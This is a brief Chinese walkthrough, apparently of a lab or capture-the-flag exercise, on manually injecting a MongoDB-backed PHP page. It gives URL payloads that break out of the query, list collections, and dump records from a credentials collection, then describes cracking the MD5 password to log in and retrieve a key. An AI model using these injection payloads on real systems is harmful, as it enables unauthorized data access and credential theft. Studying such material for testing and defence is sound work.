1. 程式人生 > >SQL手工注入漏洞測試(MongoDB資料庫)

SQL手工注入漏洞測試(MongoDB資料庫)

# 檢視是否有注入點
http://ip/new_list.php?id=1'

# 想辦法閉合語句,檢視所有集合
# db.getCollectionNames()返回的是陣列,需要用tojson轉換為字串。並且mongodb函式區分大小寫
http://ip/new_list.php?id=1'}); return ({title:tojson(db.getCollectionNames()),2:'1

類似語句:

 select SCHEMA_NAME from information_schema.SCHEMATA

# 檢視Authority_confidential集合的第一條資料
http://ip/new_list.php?id=1'}); return ({title:tojson(db.Authority_confidential.find()[0]),2:'1

類似語句: 

select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='Authority_confidential' 

# 檢視Authority_confidential集合的第二條資料
http://ip/new_list.php?id=1'}); return ({title:tojson(db.Authority_confidential.find()[1]),2:'1

得到使用者名稱密碼,密碼用md5解密

登陸,獲得key